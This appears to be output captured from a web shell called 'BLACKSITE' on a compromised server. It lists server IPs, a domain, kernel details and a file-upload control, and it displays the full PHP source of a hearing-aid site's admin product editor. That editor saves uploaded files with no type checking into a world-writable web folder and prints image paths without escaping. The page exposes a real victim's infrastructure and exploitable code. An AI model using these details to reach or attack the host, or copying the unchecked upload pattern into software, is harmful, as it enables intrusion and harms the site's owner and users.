BLACKSITE
:
216.73.216.62
:
147.93.18.13 / vinyasaweddings.com
:
Linux srv667811 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
:
/
var
/
www
/
insonohearing
/
admin
/
Upload File:
files >> /var/www/insonohearing/admin/edit_product.php
<?php require __DIR__ . '/../db.php'; // Adjust path if needed // Get product ID from URL $productId = $_GET['id'] ?? null; if (!$productId) { die("Product ID is missing."); } // Fetch product data $stmt = $conn->prepare(" SELECT p.id AS product_id, p.name AS product_name, p.images, d.detail_key, d.detail_value FROM products p LEFT JOIN product_details d ON p.id = d.product_id WHERE p.id = :productId "); $stmt->execute([':productId' => $productId]); $product = $stmt->fetch(PDO::FETCH_ASSOC); if (!$product) { die("Product not found."); } // Get details data $details = []; $detailStmt = $conn->prepare("SELECT detail_key, detail_value FROM product_details WHERE product_id = :productId"); $detailStmt->execute([':productId' => $productId]); while ($row = $detailStmt->fetch(PDO::FETCH_ASSOC)) { $details[] = $row; } // Handle form submission if ($_SERVER['REQUEST_METHOD'] === 'POST') { $name = $_POST['name']; $details = $_POST['details'] ?? []; // Handle image uploads $imagePaths = []; if (!empty($_FILES['images']['name'][0])) { $uploadDir = 'uploads/'; if (!is_dir($uploadDir)) { mkdir($uploadDir, 0777, true); } foreach ($_FILES['images']['tmp_name'] as $key => $tmpName) { $filename = basename($_FILES['images']['name'][$key]); $targetPath = $uploadDir . time() . '_' . $filename; if (move_uploaded_file($tmpName, $targetPath)) { $imagePaths[] = $targetPath; } } // Merge old images with new ones $existingImages = json_decode($product['images'], true) ?? []; $imagePaths = array_merge($existingImages, $imagePaths); } else { $imagePaths = json_decode($product['images'], true) ?? []; } // Update product table try { $stmt = $conn->prepare("UPDATE products SET name = :name, images = :images WHERE id = :productId"); $stmt->execute([ ':name' => $name, ':images' => json_encode($imagePaths), ':productId' => $productId, ]); // Update product details $detailStmt = $conn->prepare("DELETE FROM product_details WHERE product_id = :productId"); $detailStmt->execute([':productId' => $productId]); foreach ($details as $detail) { $detailStmt = $conn->prepare("INSERT INTO product_details (product_id, detail_key, detail_value) VALUES (:product_id, :detail_key, :detail_value)"); $detailStmt->execute([ ':product_id' => $productId, ':detail_key' => $detail['key'], ':detail_value' => $detail['value'], ]); } header("Location: index.php?page=all_product"); exit; } catch (PDOException $e) { echo "<div class='alert alert-danger'>Error: " . $e->getMessage() . "</div>"; } } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Edit Product</title> <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css"> <link rel="icon" href="https://insonohearing.com/assets_b/img/favicon-32x32.png" type="image/png" sizes="32x32"> <link rel="icon" href="https://insonohearing.com/assets_b/img/favicon-32x32.png" type="image/png" sizes="16x16"> <style> .product-img-preview { height: 100px; object-fit: cover; border-radius: 6px; } .detail-row { margin-bottom: 10px; } </style> </head> <body> <div class="container mt-5"> <h2>Edit Product</h2> <form method="post" enctype="multipart/form-data"> <!-- Product Name --> <div class="form-group"> <label for="productName">Name</label> <input type="text" class="form-control" id="productName" name="name" value="<?= htmlspecialchars($product['product_name']) ?>" required> </div> <!-- Images --> <div class="form-group"> <label for="productImages">Images</label> <input type="file" class="form-control" id="productImages" name="images[]" multiple> <?php if (!empty($product['images'])): ?> <h5>Existing Images:</h5> <div class="d-flex flex-wrap"> <?php foreach (json_decode($product['images'], true) as $image): ?> <img src="<?= $image ?>" class="product-img-preview mr-2 mb-2"> <?php endforeach; ?> </div> <?php endif; ?> </div> <!-- Product Details --> <div class="form-group"> <label>Details</label> <div id="detailsContainer"> <?php foreach ($details as $index => $detail): ?> <div class="detail-row form-row" id="detailRow<?= $index + 1 ?>"> <div class="col-md-5"> <input type="text" name="details[<?= $index + 1 ?>][key]" class="form-control" placeholder="Key" value="<?= htmlspecialchars($detail['detail_key']) ?>" required> </div> <div class="col-md-5"> <input type="text" name="details[<?= $index + 1 ?>][value]" class="form-control" placeholder="Value" value="<?= htmlspecialchars($detail['detail_value']) ?>" required> </div> <div class="col-md-2"> <button type="button" class="btn btn-danger" onclick="removeDetail(<?= $index + 1 ?>)">X</button> </div> </div> <?php endforeach; ?> </div> <button type="button" class="btn btn-info mt-2" onclick="addDetail()">Add Detail</button> </div> <!-- Submit Button --> <button type="submit" class="btn btn-primary">Save Changes</button> </form> </div> <script> let detailCount = <?= count($details) ?>; function addDetail() { detailCount++; const container = document.getElementById("detailsContainer"); const row = document.createElement("div"); row.classList.add("detail-row", "form-row"); row.setAttribute("id", "detailRow" + detailCount); row.innerHTML = ` <div class="col-md-5"> <input type="text" name="details[${detailCount}][key]" class="form-control" placeholder="Key" required> </div> <div class="col-md-5"> <input type="text" name="details[${detailCount}][value]" class="form-control" placeholder="Value" required> </div> <div class="col-md-2"> <button type="button" class="btn btn-danger" onclick="removeDetail(${detailCount})">X</button> </div> `; container.appendChild(row); } function removeDetail(id) { const row = document.getElementById("detailRow" + id); if (row) row.remove(); } </script> </body> </html>